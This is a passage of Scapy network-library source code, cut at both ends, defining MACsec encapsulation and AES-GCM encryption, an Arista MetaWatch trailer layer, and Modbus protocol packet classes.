MACControl.OP_CODE_CLASS_BASED_FLOW_CONTROL: MACControlClassBasedFlowControl # noqa: E501 } bind_layers(Ether, MACControl, type=MAC_CONTROL_ETHER_TYPE) bind_layers(Dot1Q, MACControl, type=MAC_CONTROL_ETHER_TYPE) ================================================ FILE: scapy/contrib/macsec.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Sabrina Dubroca # scapy.contrib.description = 802.1AE - IEEE MAC Security standard (MACsec) # scapy.contrib.status = loads """ Classes and functions for MACsec. """ import struct import copy from scapy.config import conf from scapy.fields import BitField, ConditionalField, IntField, PacketField, \ XShortEnumField from scapy.packet import Packet, Raw, bind_layers from scapy.layers.l2 import Ether, Dot1AD, Dot1Q from scapy.layers.eap import MACsecSCI from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 from scapy.compat import raw from scapy.data import ETH_P_MACSEC, ETHER_TYPES, ETH_P_IP, ETH_P_IPV6 from scapy.error import log_loading if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.ciphers import ( Cipher, algorithms, modes, ) else: log_loading.info("Can't import python-cryptography v2.0+. " "Disabled MACsec encryption/authentication.") NOSCI_LEN = 14 + 6 SCI_LEN = 8 DEFAULT_ICV_LEN = 16 class MACsecSA(object): """Representation of a MACsec Secure Association Provides encapsulation, decapsulation, encryption, and decryption of MACsec frames """ def __init__(self, sci, an, pn, key, icvlen, encrypt, send_sci, xpn_en=False, ssci=None, salt=None): # noqa: E501 if isinstance(sci, int): self.sci = struct.pack('!Q', sci) elif isinstance(sci, bytes): self.sci = sci else: raise TypeError("SCI must be either bytes or int") self.an = an self.pn = pn self.key = key self.icvlen = icvlen self.do_encrypt = encrypt self.send_sci = send_sci self.xpn_en = xpn_en if self.xpn_en: # Get SSCI (32 bits) if isinstance(ssci, int): self.ssci = struct.pack('!L', ssci) elif isinstance(ssci, bytes): self.ssci = ssci else: raise TypeError("SSCI must be either bytes or int") # Get Salt (96 bits, only bytes allowed) if isinstance(salt, bytes): self.salt = salt else: raise TypeError("Salt must be bytes") def make_iv(self, pkt): """generate an IV for the packet""" if self.xpn_en: tmp_pn = (self.pn & 0xFFFFFFFF00000000) | (pkt[MACsec].PN & 0xFFFFFFFF) # noqa: E501 tmp_iv = self.ssci + struct.pack('!Q', tmp_pn) return bytes(bytearray([a ^ b for a, b in zip(bytearray(tmp_iv), bytearray(self.salt))])) # noqa: E501 else: return self.sci + struct.pack('!I', pkt[MACsec].PN) @staticmethod def split_pkt(pkt, assoclen, icvlen=0): """ split the packet into associated data, plaintext or ciphertext, and optional ICV """ data = raw(pkt) assoc = data[:assoclen] if icvlen: icv = data[-icvlen:] enc = data[assoclen:-icvlen] else: icv = b'' enc = data[assoclen:] return assoc, enc, icv def e_bit(self): """returns the value of the E bit for packets sent through this SA""" return self.do_encrypt def c_bit(self): """returns the value of the C bit for packets sent through this SA""" return self.do_encrypt or self.icvlen != DEFAULT_ICV_LEN @staticmethod def shortlen(pkt): """determine shortlen for a raw packet (not encapsulated yet)""" datalen = len(pkt) - 2 * 6 if datalen < 48: return datalen return 0 def encap(self, pkt): """encapsulate a frame using this Secure Association""" if pkt.name != Ether().name: raise TypeError('cannot encapsulate packet in MACsec, must be Ethernet') # noqa: E501 hdr = copy.deepcopy(pkt) payload = hdr.payload del hdr.payload tag = MACsec(SCI=self.sci, AN=self.an, SC=self.send_sci, E=self.e_bit(), C=self.c_bit(), SL=MACsecSA.shortlen(pkt), PN=(self.pn & 0xFFFFFFFF), type=pkt.type) hdr.type = ETH_P_MACSEC return hdr / tag / payload # this doesn't really need to be a method, but for symmetry with # encap(), it is def decap(self, orig_pkt): """decapsulate a MACsec frame""" if not isinstance(orig_pkt, Ether) or \ not isinstance(orig_pkt.payload, MACsec): raise TypeError( 'cannot decapsulate MACsec packet, must be Ethernet/MACsec' ) packet = copy.deepcopy(orig_pkt) prev_layer = packet[MACsec].underlayer prev_layer.type = packet[MACsec].type next_layer = packet[MACsec].payload del prev_layer.payload if prev_layer.name == Ether().name: return Ether(raw(prev_layer / next_layer)) return prev_layer / next_layer def encrypt(self, orig_pkt, assoclen=None): """encrypt a MACsec frame for this Secure Association""" hdr = copy.deepcopy(orig_pkt) del hdr[MACsec].payload del hdr[MACsec].type pktlen = len(orig_pkt) if self.send_sci: hdrlen = NOSCI_LEN + SCI_LEN else: hdrlen = NOSCI_LEN if assoclen is None or not self.do_encrypt: if self.do_encrypt: assoclen = hdrlen else: assoclen = pktlen iv = self.make_iv(orig_pkt) assoc, pt, _ = MACsecSA.split_pkt(orig_pkt, assoclen) encryptor = Cipher( algorithms.AES(self.key), modes.GCM(iv), backend=default_backend() ).encryptor() encryptor.authenticate_additional_data(assoc) ct = encryptor.update(pt) + encryptor.finalize() hdr[MACsec].payload = Raw(assoc[hdrlen:assoclen] + ct + encryptor.tag) return hdr def decrypt(self, orig_pkt, assoclen=None): """decrypt a MACsec frame for this Secure Association""" hdr = copy.deepcopy(orig_pkt) del hdr[MACsec].payload pktlen = len(orig_pkt) if self.send_sci: hdrlen = NOSCI_LEN + SCI_LEN else: hdrlen = NOSCI_LEN if assoclen is None or not self.do_encrypt: if self.do_encrypt: assoclen = hdrlen else: assoclen = pktlen - self.icvlen iv = self.make_iv(hdr) assoc, ct, icv = MACsecSA.split_pkt(orig_pkt, assoclen, self.icvlen) decryptor = Cipher( algorithms.AES(self.key), modes.GCM(iv, icv), backend=default_backend() ).decryptor() decryptor.authenticate_additional_data(assoc) pt = assoc[hdrlen:assoclen] pt += decryptor.update(ct) pt += decryptor.finalize() hdr[MACsec].type = struct.unpack('!H', pt[0:2])[0] hdr[MACsec].payload = Raw(pt[2:]) return hdr class MACsec(Packet): """representation of one MACsec frame""" name = '802.1AE' deprecated_fields = { 'an': ("AN", "2.4.4"), 'pn': ("PN", "2.4.4"), 'sci': ("SCI", "2.4.4"), 'shortlen': ("SL", "2.4.4"), } # 802.1AE-2018 - Section 9 fields_desc = [ # 802.1AE-2018 - Section 9.5 BitField('Ver', 0, 1), BitField('ES', 0, 1), # End Station BitField('SC', 0, 1), # Secure Channel BitField('SCB', 0, 1), # Single Copy Broadcast BitField('E', 0, 1), # Encryption BitField('C', 0, 1), # Changed Text BitField('AN', 0, 2), # Association Number # 802.1AE-2018 - Section 9.7 BitField('reserved', 0, 2), BitField('SL', 0, 6), # Short Length # 802.1AE-2018 - Section 9.8 IntField("PN", 1), # Packet Number # 802.1AE-2018 - Section 9.9 ConditionalField( PacketField("SCI", None, MACsecSCI), lambda pkt: pkt.SC ), # Off-spec. Used for conveniency (only present if passed manually) ConditionalField(XShortEnumField("type", None, ETHER_TYPES), lambda pkt: "type" in pkt.fields)] def mysummary(self): summary = self.sprintf("AN=%MACsec.AN%, PN=%MACsec.PN%") if self.SC: summary += self.sprintf(", SCI=%MACsec.SCI%") if self.type is not None: summary += self.sprintf(", %MACsec.type%") return summary bind_layers(MACsec, IP, type=ETH_P_IP) bind_layers(MACsec, IPv6, type=ETH_P_IPV6) bind_layers(Dot1AD, MACsec, type=ETH_P_MACSEC) bind_layers(Dot1Q, MACsec, type=ETH_P_MACSEC) bind_layers(Ether, MACsec, type=ETH_P_MACSEC) ================================================ FILE: scapy/contrib/metawatch.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # Copyright (C) 2019 Brandon Ewing # 2019 Guillaume Valadon # scapy.contrib.description = Arista Metawatch # scapy.contrib.status = loads from scapy.layers.l2 import Ether from scapy.fields import ( ByteField, ShortField, FlagsField, SecondsIntField, TrailerField, UTCTimeField, ) class MetawatchEther(Ether): name = "Ethernet (with MetaWatch trailer)" match_subclass = True fields_desc = Ether.fields_desc + [ TrailerField(ByteField("metamako_portid", None)), TrailerField(ShortField("metamako_devid", None)), TrailerField(FlagsField("metamako_flags", 0x0, 8, "VX______")), TrailerField(SecondsIntField("metamako_nanos", 0, use_nano=True)), TrailerField(UTCTimeField("metamako_seconds", 0)), # TODO: Add TLV support ] ================================================ FILE: scapy/contrib/modbus.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2017 Arthur Gervais # Ken LE PRADO, # Sebastien Mainand # Thomas Aurel # scapy.contrib.description = ModBus Protocol # scapy.contrib.status = loads import struct from scapy.packet import Packet, bind_layers from scapy.fields import XByteField, XShortField, StrLenField, ByteEnumField, \ BitFieldLenField, ByteField, ConditionalField, EnumField, FieldListField, \ ShortField, StrFixedLenField, XShortEnumField from scapy.layers.inet import TCP from scapy.utils import orb from scapy.config import conf from scapy.volatile import VolatileValue _modbus_exceptions = {1: "Illegal Function Code", 2: "Illegal Data Address", 3: "Illegal Data Value", 4: "Server Device Failure", 5: "Acknowledge", 6: "Server Device Busy", 8: "Memory Parity Error", 10: "Gateway Path Unavailable", 11: "Gateway Target Device Failed to Respond"} class _ModbusPDUNoPayload(Packet): def extract_padding(self, s): return b"", None class ModbusPDU01ReadCoilsRequest(_ModbusPDUNoPayload): name = "Read Coils Request" fields_desc = [XByteField("funcCode", 0x01), XShortField("startAddr", 0x0000), # 0x0000 to 0xFFFF XShortField("quantity", 0x0001)] class ModbusPDU01ReadCoilsResponse(_ModbusPDUNoPayload): name = "Read Coils Response" fields_desc = [XByteField("funcCode", 0x01), BitFieldLenField("byteCount", None, 8, count_of="coilStatus"), FieldListField("coilStatus", [0x00], ByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU01ReadCoilsError(_ModbusPDUNoPayload): name = "Read Coils Exception" fields_desc = [XByteField("funcCode", 0x81), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU02ReadDiscreteInputsRequest(_ModbusPDUNoPayload): name = "Read Discrete Inputs" fields_desc = [XByteField("funcCode", 0x02), XShortField("startAddr", 0x0000), XShortField("quantity", 0x0001)] class ModbusPDU02ReadDiscreteInputsResponse(Packet): """ inputStatus: result is represented as bytes, padded with 0 to have a integer number of bytes. The field does not parse this result and present the bytes directly """ name = "Read Discrete Inputs Response" fields_desc = [XByteField("funcCode", 0x02), BitFieldLenField("byteCount", None, 8, count_of="inputStatus"), FieldListField("inputStatus", [0x00], ByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU02ReadDiscreteInputsError(Packet): name = "Read Discrete Inputs Exception" fields_desc = [XByteField("funcCode", 0x82), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU03ReadHoldingRegistersRequest(_ModbusPDUNoPayload): name = "Read Holding Registers" fields_desc = [XByteField("funcCode", 0x03), XShortField("startAddr", 0x0000), XShortField("quantity", 0x0001)] class ModbusPDU03ReadHoldingRegistersResponse(Packet): name = "Read Holding Registers Response" fields_desc = [XByteField("funcCode", 0x03), BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x * 2), FieldListField("registerVal", [0x0000], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount, max_count=123)] class ModbusPDU03ReadHoldingRegistersError(Packet): name = "Read Holding Registers Exception" fields_desc = [XByteField("funcCode", 0x83), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU04ReadInputRegistersRequest(_ModbusPDUNoPayload): name = "Read Input Registers" fields_desc = [XByteField("funcCode", 0x04), XShortField("startAddr", 0x0000), XShortField("quantity", 0x0001)] class ModbusPDU04ReadInputRegistersResponse(Packet): name = "Read Input Registers Response" fields_desc = [XByteField("funcCode", 0x04), BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x * 2), FieldListField("registerVal", [0x0000], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU04ReadInputRegistersError(Packet): name = "Read Input Registers Exception" fields_desc = [XByteField("funcCode", 0x84), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU05WriteSingleCoilRequest(Packet): name = "Write Single Coil" fields_desc = [XByteField("funcCode", 0x05), # from 0x0000 to 0xFFFF XShortField("outputAddr", 0x0000), # 0x0000: Off, 0xFF00: On XShortField("outputValue", 0x0000)] class ModbusPDU05WriteSingleCoilResponse(Packet): # The answer is the same as the request if successful name = "Write Single Coil" fields_desc = [XByteField("funcCode", 0x05), # from 0x0000 to 0xFFFF XShortField("outputAddr", 0x0000), # 0x0000 == Off, 0xFF00 == On XShortField("outputValue", 0x0000)] class ModbusPDU05WriteSingleCoilError(Packet): name = "Write Single Coil Exception" fields_desc = [XByteField("funcCode", 0x85), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU06WriteSingleRegisterRequest(_ModbusPDUNoPayload): name = "Write Single Register" fields_desc = [XByteField("funcCode", 0x06), XShortField("registerAddr", 0x0000), XShortField("registerValue", 0x0000)] class ModbusPDU06WriteSingleRegisterResponse(Packet): name = "Write Single Register Response" fields_desc = [XByteField("funcCode", 0x06), XShortField("registerAddr", 0x0000), XShortField("registerValue", 0x0000)] class ModbusPDU06WriteSingleRegisterError(Packet): name = "Write Single Register Exception" fields_desc = [XByteField("funcCode", 0x86), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU07ReadExceptionStatusRequest(_ModbusPDUNoPayload): name = "Read Exception Status" fields_desc = [XByteField("funcCode", 0x07)] class ModbusPDU07ReadExceptionStatusResponse(Packet): name = "Read Exception Status Response" fields_desc = [XByteField("funcCode", 0x07), XByteField("startAddr", 0x00)] class ModbusPDU07ReadExceptionStatusError(Packet): name = "Read Exception Status Exception" fields_desc = [XByteField("funcCode", 0x87), ByteEnumField("exceptCode", 1, _modbus_exceptions)] _diagnostics_sub_function = { 0x0000: "Return Query Data", 0x0001: "Restart Communications Option", 0x0002: "Return Diagnostic Register", 0x0003: "Change ASCII Input Delimiter", 0x0004: "Force Listen Only Mode", 0x000A: "Clear Counters and Diagnostic Register", 0x000B: "Return Bus Message Count", 0x000C: "Return Bus Communication Error Count", 0x000D: "Return Bus Exception Error Count", 0x000E: "Return Slave Message Count", 0x000F: "Return Slave No Response Count", 0x0010: "Return Slave NAK Count", 0x0011: "Return Slave Busy Count", 0x0012: "Return Bus Character Overrun Count", 0x0014: "Clear Overrun Counter and Flag" } class ModbusPDU08DiagnosticsRequest(_ModbusPDUNoPayload): name = "Diagnostics" fields_desc = [XByteField("funcCode", 0x08), XShortEnumField("subFunc", 0x0000, _diagnostics_sub_function), FieldListField("data", [0x0000], XShortField("", 0x0000))] class ModbusPDU08DiagnosticsResponse(_ModbusPDUNoPayload): name = "Diagnostics Response" fields_desc = [XByteField("funcCode", 0x08), XShortEnumField("subFunc", 0x0000, _diagnostics_sub_function), FieldListField("data", [0x0000], XShortField("", 0x0000))] class ModbusPDU08DiagnosticsError(_ModbusPDUNoPayload): name = "Diagnostics Exception" fields_desc = [XByteField("funcCode", 0x88), ByteEnumField("exceptionCode", 1, _modbus_exceptions)] class ModbusPDU0BGetCommEventCounterRequest(_ModbusPDUNoPayload): name = "Get Comm Event Counter" fields_desc = [XByteField("funcCode", 0x0B)] class ModbusPDU0BGetCommEventCounterResponse(_ModbusPDUNoPayload): name = "Get Comm Event Counter Response" fields_desc = [XByteField("funcCode", 0x0B), XShortField("status", 0x0000), XShortField("eventCount", 0xFFFF)] class ModbusPDU0BGetCommEventCounterError(_ModbusPDUNoPayload): name = "Get Comm Event Counter Exception" fields_desc = [XByteField("funcCode", 0x8B), ByteEnumField("exceptionCode", 1, _modbus_exceptions)] class ModbusPDU0CGetCommEventLogRequest(_ModbusPDUNoPayload): name = "Get Comm Event Log" fields_desc = [XByteField("funcCode", 0x0C)] class ModbusPDU0CGetCommEventLogResponse(_ModbusPDUNoPayload): name = "Get Comm Event Log Response" fields_desc = [XByteField("funcCode", 0x0C), ByteField("byteCount", 8), XShortField("status", 0x0000), XShortField("eventCount", 0x0108), XShortField("messageCount", 0x0121), FieldListField("event", [0x20, 0x00], XByteField("", 0x00))] class ModbusPDU0CGetCommEventLogError(_ModbusPDUNoPayload): name = "Get Comm Event Log Exception" fields_desc = [XByteField("funcCode", 0x8C), XByteField("exceptionCode", 1)] class ModbusPDU0FWriteMultipleCoilsRequest(Packet): name = "Write Multiple Coils" fields_desc = [XByteField("funcCode", 0x0F), XShortField("startAddr", 0x0000), XShortField("quantityOutput", 0x0001), BitFieldLenField("byteCount", None, 8, count_of="outputsValue"), FieldListField("outputsValue", [0x00], XByteField("", 0x00), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU0FWriteMultipleCoilsResponse(Packet): name = "Write Multiple Coils Response" fields_desc = [XByteField("funcCode", 0x0F), XShortField("startAddr", 0x0000), XShortField("quantityOutput", 0x0001)] class ModbusPDU0FWriteMultipleCoilsError(Packet): name = "Write Multiple Coils Exception" fields_desc = [XByteField("funcCode", 0x8F), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU10WriteMultipleRegistersRequest(Packet): name = "Write Multiple Registers" fields_desc = [XByteField("funcCode", 0x10), XShortField("startAddr", 0x0000), BitFieldLenField("quantityRegisters", None, 16, count_of="outputsValue"), BitFieldLenField("byteCount", None, 8, count_of="outputsValue", adjust=lambda pkt, x: x * 2), FieldListField("outputsValue", [0x0000], XShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU10WriteMultipleRegistersResponse(Packet): name = "Write Multiple Registers Response" fields_desc = [XByteField("funcCode", 0x10), XShortField("startAddr", 0x0000), XShortField("quantityRegisters", 0x0001)] class ModbusPDU10WriteMultipleRegistersError(Packet): name = "Write Multiple Registers Exception" fields_desc = [XByteField("funcCode", 0x90), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU11ReportSlaveIdRequest(_ModbusPDUNoPayload): name = "Report Slave Id" fields_desc = [XByteField("funcCode", 0x11)] class ModbusPDU11ReportSlaveIdResponse(Packet): name = "Report Slave Id Response" fields_desc = [ XByteField("funcCode", 0x11), BitFieldLenField("byteCount", None, 8, length_of="slaveId"), ConditionalField(StrLenField("slaveId", "", length_from=lambda pkt: pkt.byteCount), lambda pkt: pkt.byteCount > 0), ConditionalField(XByteField("runIdicatorStatus", 0x00), lambda pkt: pkt.byteCount > 0), ] class ModbusPDU11ReportSlaveIdError(Packet): name = "Report Slave Id Exception" fields_desc = [XByteField("funcCode", 0x91), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusReadFileSubRequest(Packet): name = "Sub-request of Read File Record" fields_desc = [ByteField("refType", 0x06), ShortField("fileNumber", 0x0001), ShortField("recordNumber", 0x0000), ShortField("recordLength", 0x0001)] def guess_payload_class(self, payload): return ModbusReadFileSubRequest class ModbusPDU14ReadFileRecordRequest(Packet): name = "Read File Record" fields_desc = [XByteField("funcCode", 0x14), ByteField("byteCount", None)] def guess_payload_class(self, payload): if self.byteCount > 0: return ModbusReadFileSubRequest else: return Packet.guess_payload_class(self, payload) def post_build(self, p, pay): if self.byteCount is None: tmp_len = len(pay) p = p[:1] + struct.pack("!B", tmp_len) + p[3:] return p + pay class ModbusReadFileSubResponse(Packet): name = "Sub-response" fields_desc = [ BitFieldLenField("respLength", None, 8, count_of="recData", adjust=lambda pkt, p: p * 2 + 1), ByteField("refType", 0x06), FieldListField("recData", [0x0000], XShortField("", 0x0000), count_from=lambda pkt: (pkt.respLength - 1) // 2), ] def guess_payload_class(self, payload): return ModbusReadFileSubResponse class ModbusPDU14ReadFileRecordResponse(Packet): name = "Read File Record Response" fields_desc = [XByteField("funcCode", 0x14), ByteField("dataLength", None)] def post_build(self, p, pay): if self.dataLength is None: tmp_len = len(pay) p = p[:1] + struct.pack("!B", tmp_len) + p[3:] return p + pay def guess_payload_class(self, payload): if self.dataLength > 0: return ModbusReadFileSubResponse else: return Packet.guess_payload_class(self, payload) class ModbusPDU14ReadFileRecordError(Packet): name = "Read File Record Exception" fields_desc = [XByteField("funcCode", 0x94), ByteEnumField("exceptCode", 1, _modbus_exceptions)] # 0x15 : Write File Record class ModbusWriteFileSubRequest(Packet): name = "Sub request of Write File Record" fields_desc = [ ByteField("refType", 0x06), ShortField("fileNumber", 0x0001), ShortField("recordNumber", 0x0000), BitFieldLenField("recordLength", None, 16, length_of="recordData", adjust=lambda pkt, p: p // 2), FieldListField("recordData", [0x0000], ShortField("", 0x0000), length_from=lambda pkt: pkt.recordLength * 2), ] def guess_payload_class(self, payload): if payload: return ModbusWriteFileSubRequest class ModbusPDU15WriteFileRecordRequest(Packet): name = "Write File Record" fields_desc = [XByteField("funcCode", 0x15), ByteField("dataLength", None)] def post_build(self, p, pay): if self.dataLength is None: tmp_len = len(pay) p = p[:1] + struct.pack("!B", tmp_len) + p[3:] return p + pay def guess_payload_class(self, payload): if self.dataLength > 0: return ModbusWriteFileSubRequest else: return Packet.guess_payload_class(self, payload) class ModbusWriteFileSubResponse(ModbusWriteFileSubRequest): name = "Sub response of Write File Record" def guess_payload_class(self, payload): if payload: return ModbusWriteFileSubResponse class ModbusPDU15WriteFileRecordResponse(ModbusPDU15WriteFileRecordRequest): name = "Write File Record Response" def guess_payload_class(self, payload): if self.dataLength > 0: return ModbusWriteFileSubResponse else: return Packet.guess_payload_class(self, payload) class ModbusPDU15WriteFileRecordError(Packet): name = "Write File Record Exception" fields_desc = [XByteField("funcCode", 0x95), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU16MaskWriteRegisterRequest(Packet): # and/or to 0xFFFF/0x0000 so that nothing is changed in memory name = "Mask Write Register" fields_desc = [XByteField("funcCode", 0x16), XShortField("refAddr", 0x0000), XShortField("andMask", 0xffff), XShortField("orMask", 0x0000)] class ModbusPDU16MaskWriteRegisterResponse(Packet): name = "Mask Write Register Response" fields_desc = [XByteField("funcCode", 0x16), XShortField("refAddr", 0x0000), XShortField("andMask", 0xffff), XShortField("orMask", 0x0000)] class ModbusPDU16MaskWriteRegisterError(Packet): name = "Mask Write Register Exception" fields_desc = [XByteField("funcCode", 0x96), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU17ReadWriteMultipleRegistersRequest(Packet): name = "Read Write Multiple Registers" fields_desc = [XByteField("funcCode", 0x17), XShortField("readStartingAddr", 0x0000), XShortField("readQuantityRegisters", 0x0001), XShortField("writeStartingAddr", 0x0000), BitFieldLenField("writeQuantityRegisters", None, 16, count_of="writeRegistersValue"), BitFieldLenField("byteCount", None, 8, count_of="writeRegistersValue", adjust=lambda pkt, x: x * 2), FieldListField("writeRegistersValue", [0x0000], XShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU17ReadWriteMultipleRegistersResponse(Packet): name = "Read Write Multiple Registers Response" fields_desc = [XByteField("funcCode", 0x17), BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x * 2), FieldListField("registerVal", [0x0000], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU17ReadWriteMultipleRegistersError(Packet): name = "Read Write Multiple Exception" fields_desc = [XByteField("funcCode", 0x97), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU18ReadFIFOQueueRequest(Packet): name = "Read FIFO Queue" fields_desc = [XByteField("funcCode", 0x18), XShortField("FIFOPointerAddr", 0x0000)] class ModbusPDU18ReadFIFOQueueResponse(Packet): name = "Read FIFO Queue Response" fields_desc = [XByteField("funcCode", 0x18), # TODO: ByteCount must includes size of FIFOCount BitFieldLenField("byteCount", None, 16, count_of="FIFOVal", adjust=lambda pkt, p: p * 2 + 2), BitFieldLenField("FIFOCount", None, 16, count_of="FIFOVal"), FieldListField("FIFOVal", [], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU18ReadFIFOQueueError(Packet): name = "Read FIFO Queue Exception" fields_desc = [XByteField("funcCode", 0x98), ByteEnumField("exceptCode", 1, _modbus_exceptions)] # TODO: not implemented, out of the main specification # class ModbusPDU2B0DCANOpenGeneralReferenceRequest(Packet): # name = "CANopen General Reference Request" # fields_desc = [] # # # class ModbusPDU2B0DCANOpenGeneralReferenceResponse(Packet): # name = "CANopen General Reference Response" # fields_desc = [] # # # class ModbusPDU2B0DCANOpenGeneralReferenceError(Packet): # name = "CANopen General Reference Error" # fields_desc = [] # 0x2B/0x0E - Read Device Identification values _read_device_id_codes = {1: "Basic", 2: "Regular", 3: "Extended", 4: "Specific"} # 0x00->0x02: mandatory # 0x03->0x06: optional # 0x07->0x7F: Reserved (optional) # 0x80->0xFF: product dependent private objects (optional) _read_device_id_object_id = {0x00: "VendorName", 0x01: "ProductCode", 0x02: "MajorMinorRevision", 0x03: "VendorUrl", 0x04: "ProductName", 0x05: "ModelName", 0x06: "UserApplicationName"} _read_device_id_conformity_lvl = { 0x01: "Basic Identification (stream only)", 0x02: "Regular Identification (stream only)", 0x03: "Extended Identification (stream only)", 0x81: "Basic Identification (stream and individual access)", 0x82: "Regular Identification (stream and individual access)", 0x83: "Extended Identification (stream and individual access)", } _read_device_id_more_follow = {0x00: "No", 0x01: "Yes"} class ModbusPDU2B0EReadDeviceIdentificationRequest(Packet): name = "Read Device Identification" fields_desc = [XByteField("funcCode", 0x2B), XByteField("MEIType", 0x0E), ByteEnumField("readCode", 1, _read_device_id_codes), ByteEnumField("objectId", 0x00, _read_device_id_object_id)] class ModbusPDU2B0EReadDeviceIdentificationResponse(Packet): name = "Read Device Identification" fields_desc = [XByteField("funcCode", 0x2B), XByteField("MEIType", 0x0E), ByteEnumField("readCode", 4, _read_device_id_codes), ByteEnumField("conformityLevel", 0x01, _read_device_id_conformity_lvl), ByteEnumField("more", 0x00, _read_device_id_more_follow), ByteEnumField("nextObjId", 0x00, _read_device_id_object_id), ByteField("objCount", 0x00)] def guess_payload_class(self, payload): if self.objCount > 0: return ModbusObjectId else: return Packet.guess_payload_class(self, payload) class ModbusPDU2B0EReadDeviceIdentificationError(Packet): name = "Read Exception Status Exception" fields_desc = [XByteField("funcCode", 0xAB), ByteEnumField("exceptCode", 1, _modbus_exceptions)] _reserved_funccode_request = { 0x09: '0x09 Unknown Reserved Request', 0x0A: '0x0a Unknown Reserved Request', 0x0D: '0x0d Unknown Reserved Request', 0x0E: '0x0e Unknown Reserved Request', 0x29: '0x29 Unknown Reserved Request', 0x2A: '0x2a Unknown Reserved Request', 0x5A: 'Specific Schneider Electric Request', 0x5B: '0x5b Unknown Reserved Request', 0x7D: '0x7d Unknown Reserved Request', 0x7E: '0x7e Unknown Reserved Request', 0x7F: '0x7f Unknown Reserved Request', } _reserved_funccode_response = { 0x09: '0x09 Unknown Reserved Response', 0x0A: '0x0a Unknown Reserved Response', 0x0D: '0x0d Unknown Reserved Response', 0x0E: '0x0e Unknown Reserved Response', 0x29: '0x29 Unknown Reserved Response', 0x2A: '0x2a Unknown Reserved Response', 0x5A: 'Specific Schneider Electric Response', 0x5B: '0x5b Unknown Reserved Response', 0x7D: '0x7d Unknown Reserved Response', 0x7E: '0x7e Unknown Reserved Response', 0x7F: '0x7f Unknown Reserved Response', } _reserved_funccode_error = { 0x89: '0x89 Unknown Reserved Error', 0x8A: '0x8a Unknown Reserved Error', 0x8D: '0x8d Unknown Reserved Error', 0x8E: '0x8e Unknown Reserved Error', 0xA9: '0x88 Unknown Reserved Error', 0xAA: '0x88 Unknown Reserved Error', 0xDA: 'Specific Schneider Electric Error', 0xDB: '0xdb Unknown Reserved Error', 0xDC: '0xdc Unknown Reserved Error', 0xFD: '0xfd Unknown Reserved Error', 0xFE: '0xfe Unknown Reserved Error', 0xFF: '0xff Unknown Reserved Error', } class ModbusPDUReservedFunctionCodeRequest(_ModbusPDUNoPayload): name = "Reserved Function Code Request" fields_desc = [ ByteEnumField("funcCode", 0x00, _reserved_funccode_request), StrFixedLenField('mb_payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus Reserved Request %funcCode%") class ModbusPDUReservedFunctionCodeResponse(_ModbusPDUNoPayload): name = "Reserved Function Code Response" fields_desc = [ ByteEnumField("funcCode", 0x00, _reserved_funccode_response), StrFixedLenField('mb_payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus Reserved Response %funcCode%") class ModbusPDUReservedFunctionCodeError(_ModbusPDUNoPayload): name = "Reserved Function Code Error" fields_desc = [ ByteEnumField("funcCode", 0x00, _reserved_funccode_error), StrFixedLenField('mb_payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus Reserved Error %funcCode%") _userdefined_funccode_request = { } _userdefined_funccode_response = { } _userdefined_funccode_error = { } class ModbusByteEnumField(EnumField): __slots__ = "defEnum" def __init__(self, name, default, enum, defEnum): EnumField.__init__(self, name, default, enum, "B") self.defEnum = defEnum def i2repr_one(self, pkt, x): if self not in conf.noenum and not isinstance(x, VolatileValue) \ and x in self.i2s: return self.i2s[x] if self.defEnum: return self.defEnum return repr(x) class ModbusPDUUserDefinedFunctionCodeRequest(_ModbusPDUNoPayload): name = "User-Defined Function Code Request" fields_desc = [ ModbusByteEnumField( "funcCode", 0x00, _userdefined_funccode_request, "Unknown user-defined request function Code"), StrFixedLenField('mb_payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus User-Defined Request %funcCode%") class ModbusPDUUserDefinedFunctionCodeResponse(_ModbusPDUNoPayload): name = "User-Defined Function Code Response" fields_desc = [ ModbusByteEnumField( "funcCode", 0x00, _userdefined_funccode_response, "Unknown user-defined response function Code"), StrFixedLenField('mb_payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus User-Defined Response %funcCode%") class ModbusPDUUserDefinedFunctionCodeError(_ModbusPDUNoPayload): name = "User-Defined Function Code Error" fields_desc = [ ModbusByteEnumField( "funcCode", 0x00, _userdefined_funccode_error, "Unknown user-defined error function Code"), StrFixedLenField('mb_payload', '', 255), ] def mysummary(self): return self.sprintf("Modbus User-Defined 